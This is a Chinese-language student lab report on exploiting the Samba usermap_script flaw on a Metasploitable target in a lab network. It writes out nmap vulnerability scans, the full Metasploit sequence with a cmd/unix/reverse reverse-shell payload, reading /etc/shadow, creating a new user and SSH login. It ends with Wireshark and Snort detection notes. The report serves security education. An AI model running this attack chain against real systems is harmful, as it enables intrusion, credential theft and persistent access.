一、知识点总结
二、操作流程
2.1 本地漏洞利用
2.1.1 实验环境信息
| 角色 | IP 地址 | 操作系统 | 作用 |
|---|---|---|---|
| 攻击机 | 192.168.31.33 |
Kali Linux | 使用 Nmap、Metasploit 发起漏洞探测与攻击 |
| 靶机 | 192.168.31.67 |
Metasploitable Linux | 运行存在漏洞的 Samba 服务,作为被攻击目标 |
实验说明:
本实验在本地授权靶场环境中完成,攻击机与靶机处于同一局域网内。实验内容仅用于网络安全学习与漏洞验证。
2.1.2 实际攻击
在进行漏洞利用之前,首先使用 Nmap 对靶机的 SMB/Samba 服务端口进行探测。本次重点扫描 139 和 445 端口,并调用 smb-vuln 相关脚本检测目标是否存在已知漏洞。
nmap -p 139,445 --script=smb-vuln* --script-args=unsafe=1 192.168.31.67

从扫描结果可以看到,目标主机开放了 SMB/Samba 相关端口,并且 Nmap 脚本对相关漏洞进行了检测。这一步为后续选择 Metasploit 攻击模块提供了依据。
确认目标存在 Samba 服务后,进入 Metasploit 控制台:
msfconsole
随后选择本次实验使用的漏洞利用模块:
use exploit/multi/samba/usermap_script

exploit/multi/samba/usermap_script 模块用于利用 Samba usermap_script 漏洞。该漏洞的典型利用方式是在 SMB 认证过程中构造特殊用户名字段,从而触发系统命令执行。
进入漏洞利用模块后,可以使用 show options 查看当前模块需要配置的参数:

从输出结果中可以看到,该模块需要配置目标主机地址、Payload 类型以及本机监听地址等参数。我选择 Unix 反向 Shell 作为攻击载荷:
set payload cmd/unix/reverse

这里的 cmd/unix/reverse 表示在漏洞利用成功后,由靶机主动连接回攻击机,从而在攻击机上获得目标主机的 Shell。
确认参数配置无误后,执行漏洞利用:
exploit

从执行结果可以看到,Metasploit 成功建立了会话,并获得了目标主机的 Shell。
获得 Shell 后,根据实验七的要求,我需要进一步确认当前所在主机以及获得的权限。这里执行了以下命令:
ifconfig
whoami
cat /etc/shadow

其中,各命令作用如下:
| 命令 | 作用 | 分析 |
|---|---|---|
ifconfig |
查看目标主机网络信息 | 用于确认当前 Shell 所在主机的 IP 与靶机一致 |
whoami |
查看当前用户身份 | 用于判断当前 Shell 权限 |
cat /etc/shadow |
读取系统密码哈希文件 | 该文件通常只有 root 权限可以读取 |
从执行结果可以看到,当前 Shell 可以成功执行系统命令,并且能够读取 /etc/shadow 文件。由于 /etc/shadow 是 Linux 系统中保存用户密码哈希的重要文件,普通用户通常没有读取权限,因此该结果说明当前 Shell 具有较高权限。
2.2 远程攻击
2.2.1实验环境信息
| 角色 | IP 地址 | 操作系统 | 主要作用 |
|---|---|---|---|
| 攻击机 | 192.168.43.173 |
Kali Linux | 使用 Metasploit 发起漏洞利用攻击 |
| 防守方 / 靶机 | 192.168.43.75 |
Metasploitable Linux | 运行存在漏洞的 Samba 服务,作为被攻击目标 |
2.2.2 网络配置
在进行渗透测试实验之前,需要先完成攻击机与靶机的网络配置,确保两台主机处于同一网络环境中,并且能够正常通信。由于校园网 DHCP 分配存在问题,本实验改用 手机热点 作为实验网络环境,使 Kali 攻击机与 Metasploitable 靶机处于同一局域网中。
由于之前 Metasploitable 靶机曾配置过静态 IP,因此需要重新修改网络配置文件,将静态 IP 配置注释掉,使其能够重新通过 DHCP 自动获取 IP 地址。因此在 Metasploitable 中执行以下命令编辑网络配置文件:
vim /etc/network/interfaces
需要注释掉原先的静态 IP 配置内容,主要包括下面三行:
# address <静态IP地址>
# netmask <子网掩码>
# gateway <网关地址>

修改完成后,需要重启网络服务,使新的网络配置生效。由于 Metasploitable 使用的操作系统版本较旧,因此不能使用较新的 systemctl 管理方式,而需要通过传统的 init 脚本重启网络服务:
/etc/init.d/networking restart

如果网络服务重启成功,说明新的网络配置已经被系统重新加载。此时可以继续查看靶机是否成功获取到 IP 地址。

说明 DHCP 分配正常,靶机当前已成功接入手机热点所在的局域网。
2.2.3 联通性测试
完成网络配置后,需要在 Kali 攻击机上测试与 Metasploitable 靶机之间的连通性。在 Kali 中执行以下命令:
ping 192.168.43.75

从 ping 的结果可以看到,Kali 攻击机能够正常收到来自靶机 192.168.43.75 的响应,说明攻击机与靶机之间网络通信正常。
2.2.4 攻击
在完成网络配置和连通性测试后,开始使用 Metasploit 对目标靶机的 Samba 服务进行漏洞利用。本次使用的漏洞利用模块为:
exploit/multi/samba/usermap_script
该模块主要针对 Samba 服务中的 usermap_script 漏洞进行攻击。若目标主机运行存在漏洞的 Samba 版本,则可能通过该漏洞执行远程命令,从而获得目标主机的 Shell 权限。
在使用 Metasploit 之前,需要先确认目标靶机的 IP 地址、攻击机的 IP 地址,以及目标主机是否开放 Samba 服务相关端口。
首先,在 Kali 攻击机中启动 Metasploit,启动后,选择本次实验所需的漏洞利用模块:
msfconsole
use exploit/multi/samba/usermap_script

进入模块后,可以使用以下命令查看该模块需要配置的参数:
show options
从模块参数中可以看到,至少需要配置目标主机地址 RHOSTS,同时根据 Payload 类型配置本机监听地址 LHOST 等参数。
接着,设置攻击目标的 IP 地址。根据前面网络配置阶段获取到的结果,靶机 IP 为:
192.168.43.75
因此在 Metasploit 中设置目标地址:
set RHOSTS 192.168.43.75
然后设置 Payload。本实验选择反向 Shell 作为攻击载荷:
set PAYLOAD cmd/unix/reverse
设置 Kali 攻击机的监听地址,即 LHOST:
set LHOST 192.168.43.173
参数说明:
RHOSTS表示目标靶机 IP 地址;
LHOST表示攻击机用于接收反向连接的 IP 地址;
PAYLOAD表示攻击成功后执行的载荷类型。
确认参数无误后,执行漏洞利用:
exploit

从执行结果可以看到,Metasploit 成功向目标 Samba 服务发送攻击载荷,并建立了远程 Shell 连接。
成功获得 Shell 后,可以执行一些基础命令确认当前所在主机以及当前权限:
whoami
id
uname -a
pwd

从命令执行结果可以看到,当前已经成功进入目标 Linux 靶机,并且能够执行系统命令,说明漏洞利用成功。
2.2.5 读写测试
为了进一步验证当前 Shell 是否具有文件读写能力,可以在目标主机中进行简单的读写测试,我计划在临时目录下创建测试文件:
mkdir wcy
cd wcy
echo "20253902 吴晨宇 Please give me 100 冒!" > test_20253902.txt
cat test_20253902.txt
cat /etc/shadow

从测试结果可以看到,当前 Shell 可以成功创建文件并读取文件内容,说明已经具备一定的文件操作权限。
2.2.6 新建用户测试
为了进一步验证当前权限,可以尝试在目标系统中新建用户。首先执行以下命令添加新用户:
useradd -m -s /bin/bash wcy20253902
passwd wcy20253902
ls -ld /home/wcy20253902

新建用户属于高权限操作,通常只有 root 或具备相应权限的用户才能执行。这里该操作成功,说明本次漏洞利用获得的权限较高。
2.2.7ssh连接测试
同时,在shell中可以查看端口的开放情况,发现22端口开放,准备测试新用户能否登陆
ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa wcy2 0253902@192.168.43.75

攻击阶段命令总结
| 操作步骤 | 命令 | 作用 |
|---|---|---|
| 启动 Metasploit | msfconsole |
进入 Metasploit 控制台 |
| 选择攻击模块 | use exploit/multi/samba/usermap_script |
使用 Samba Usermap_script 漏洞利用模块 |
| 查看模块参数 | show options |
查看需要配置的攻击参数 |
| 设置目标地址 | set RHOSTS 192.168.43.75 |
指定目标靶机 IP |
| 设置 Payload | set PAYLOAD cmd/unix/reverse |
使用 Unix 反向 Shell |
| 设置监听地址 | set LHOST <Kali攻击机IP> |
指定攻击机接收连接的 IP |
| 执行攻击 | exploit 或 run |
发起漏洞利用 |
| 查看当前用户 | whoami |
判断当前 Shell 权限 |
| 查看用户权限 | id |
查看当前用户 UID、GID 等信息 |
| 查看系统信息 | uname -a |
确认当前目标系统信息 |
| 文件写入测试 | echo "metasploit test" > test.txt |
验证是否具备文件写入权限 |
| 文件读取测试 | cat test.txt |
验证是否具备文件读取权限 |
| 新建用户 | useradd testuser |
验证是否具备用户管理权限 |
| 查看用户是否存在 | cat /etc/passwd | grep testuser |
确认用户是否创建成功 |
2.2.8 防守溯源
过滤攻守双方ip
ip.addr == 192.168.43.173 && ip.addr == 192.168.43.75

在抓包结果中,可以看到 SMB 认证请求的 Account 字段被插入了命令执行载荷,说明 Metasploit 已经向目标 Samba 服务发送了用于触发 usermap_script 漏洞的恶意请求。


snort的简单分析,写入local.rules

分析实验结果

Snort 检测结果表明,靶机 192.168.43.75 与攻击机 192.168.43.173 之间存在 4444 端口远程 Shell 通信,并且在该通信中出现了 id、passwd 等后渗透命令。结合前面对 SMB Payload 的分析,可以说明本次 Samba 漏洞利用已经成功,攻击者获得了目标主机的命令执行权限,并进行了权限验证和账户相关操作。当然由于规则写的非常简陋,如果想要更加详细地分析流量内容,需要更加详细地设计过滤规则。
三、遇到的问题
ssh连接不上
第一次直接 SSH 连接靶机时出现了 Unable to negotiate ... no matching host key type found. Their offer: ssh-rsa,ssh-dss,这不是用户名或密码错误,而是 Kali 上较新的 OpenSSH 客户端默认禁用了老旧的 ssh-rsa、ssh-dss 主机密钥算法;而 Metasploitable 系统较旧,只提供这些旧算法,所以双方无法协商连接,解决方法是在连接时临时允许使用 ssh-rsa 算法。

四、心得体会
这次实验主要是做了利用
